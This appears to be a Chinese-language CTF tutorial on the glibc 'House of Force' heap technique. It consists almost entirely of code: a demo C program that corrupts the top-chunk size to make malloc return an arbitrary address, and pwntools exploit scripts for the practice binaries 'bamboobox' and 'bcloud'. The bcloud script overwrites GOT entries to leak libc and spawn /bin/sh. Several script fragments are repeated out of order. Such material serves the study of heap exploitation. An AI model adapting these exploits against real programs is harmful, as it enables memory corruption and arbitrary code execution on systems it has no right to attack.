PWN：House Of Force

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
    fprintf(stderr, "\n欢迎学习 House of Force\n\n");
    fprintf(stderr, "House of Force 这种方法是去覆写 top chunk 这样 malloc 的时候就可以 malloc 到任意地址\n");
    fprintf(stderr, "top chunk 是一类特殊的 chunk，在内存最后面。并且是当 malloc 向操作系统请求更多空间时将调整大小的块。\n");
    fprintf(stderr, "\n最后我们会覆盖这个变量 %p.\n", bss_var);
    fprintf(stderr, "现在变量值是：%s\n", bss_var);
    fprintf(stderr, "\n先分配一个 chunk.\n");
    intptr_t *p1 = malloc(256);
    fprintf(stderr, "malloc(256) 的地址： %p.\n", p1 - 2);
    fprintf(stderr, "\n现在有两块，一个我们申请的，一个 top chunk.\n");
    int real_size = malloc_usable_size(p1);
    fprintf(stderr, "我们申请的 chunk 加上 chunk 头，大小是：%ld.\n", real_size + sizeof(long)*2);
    fprintf(stderr, "\n现在假设有一个漏洞，可以覆盖掉 top chunk 的头部分\n");
    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
    fprintf(stderr, "\ntop chunk 起始地址是：%p\n", ptr_top);
    fprintf(stderr, "\n用一个很大的值覆盖掉 top chunk 的 size 位可以防止 malloc 调用 mmap\n");
    fprintf(stderr, "top chunk 之前的 size：%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
    fprintf(stderr, "top chunk 现在的 size：%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    fprintf(stderr, "\n因为现在 top chunk 的 size 是很大的，所以我们可以调用 malloc 而不会调用 mmap\n");
    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
    fprintf(stderr, "\n我们想把数据写在这里：%p, top chunk 在：%p, 还要把 chunk 头算进去,我们将要申请 %#lx 字节.\n", bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);
    fprintf(stderr, "新申请的 chunk 将会与之前的 top chunk 在同一个位置: %p\n", new_ptr - sizeof(long)*2);
    void* ctr_chunk = malloc(100);
    fprintf(stderr, "\n接下来再申请 chunk 的话将会指向我们想要修改的地方\n");
    fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
    fprintf(stderr, "现在我们就可以控制 bss_var 这块地方的值了\n");
    fprintf(stderr, "... 之前内容是: %s\n", bss_var);
    fprintf(stderr, "... 接下来把 \"YEAH!!!\" 写到那里...\n");
    strcpy(ctr_chunk, "YEAH!!!");
    fprintf(stderr, "... 新的内容: %s\n", bss_var);
}

create(0x30, "yichen")
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)

offset=-0x60-0x10
create(offset,'1234')
create(0x10,p64(magic)*2)
quit()

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./bamboobox')

def cmd(choice):
  p.sendlineafter('',str(choice))
  
def create(size,content):
  cmd(2)
  p.sendlineafter('item name:',str(size))
  p.sendlineafter('item:',content)

def edit(index,size,content):
  cmd(3)
  p.sendlineafter('of item:',str(index))
  p.sendlineafter('item name:',str(size))
  p.sendlineafter('the item:',content)

def delete(index):
  cmd(4)
  p.sendlineafter('of item:',str(index))

def quit():
  cmd(5)

magic = 0x400d49
create(0x30, "yichen")
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)
offset=-0x60-0x10
create(offset,'1234')
create(0x10,p64(magic)*2)
quit()
p.interactive()

from pwn import *
context.log_level = 'debug'
context.binary = "./bcloud"
p = process("./bcloud")
elf = ELF("./bcloud")
libc = ELF('./libc.so.6')

def cmd(choice):
  p.sendlineafter('option--->>',str(choice))

def create(size,content):
  cmd(1)
  p.sendlineafter('note content:\n',str(size))
  p.sendlineafter('the content:\n',content)

def edit(index,content):
  cmd(3)
  p.sendlineafter('the id:\n',str(index))
  p.sendlineafter('new content:\n',content)

def delete(index):
  cmd(4)
  p.sendlineafter('the id:\n',str(index))

def syn():
  cmd(5)

p.sendafter('Input your name:\n', 'a' * 0x40)
p.recvuntil('Hey ' + 'a' * 0x40)
heap_base = u32(p.recv(4)) - 8
p.sendafter('Org:\n', 'a' * 0x40)
p.sendlineafter('Host:\n', p32(0xffffffff))
topchunk_addr = heap_base + (0x40 + 8) * 3
notesize_addr = 0x0804B0A0
notelist_addr = 0x0804B120
p.sendlineafter('option--->>', '1')
offset = notesize_addr - 8 - topchunk_addr
malloc_size = offset - 8
p.sendlineafter('Input the length of the note content:\n',str(malloc_size - 4))
if malloc_size - 4 > 0:
    p.sendlineafter('Input the content:\n', '')

payload = p32(16) * 3 + (notelist_addr - notesize_addr - 12) * 'a' + p32(elf.got['free']) + p32(elf.got['atoi']) * 2
create(1000,payload)
edit(0,p32(elf.plt['puts']))
delete(1)
atoi_addr = u32(p.recv(4))
libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
edit(2,p32(system_addr))
p.sendlineafter('option--->>', '/bin/sh\x00')
p.interactive()

p.sendlineafter('Input your name:\n','a'*0x40)
p.recvuntil('Hey ' + 'a' * 0x40)
p.sendlineafter('Org:\n','a'*0x40)
heap_base = u32(p.recv(4)) - 8
p.sendlineafter('Host:\n', p32(0xffffffff))
top_addr=heap_base+(0x40+0x8)*3

offset = notesize_addr - 8 - topchunk_addr
malloc_size = offset - 8
p.sendlineafter('Input the length of the note content:\n',str(malloc_size - 4))

payload = p32(16) * 3 + (notelist_addr - notesize_addr - 12) * 'a' + p32(elf.got['free']) + p32(elf.got['atoi']) * 2
create(1000,payload)

edit(0,p32(elf.plt['puts']))
delete(1)
atoi_addr = u32(p.recv(4))

libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
edit(2,p32(system_addr))
p.sendlineafter('option--->>', '/bin/sh\x00')
p.interactive()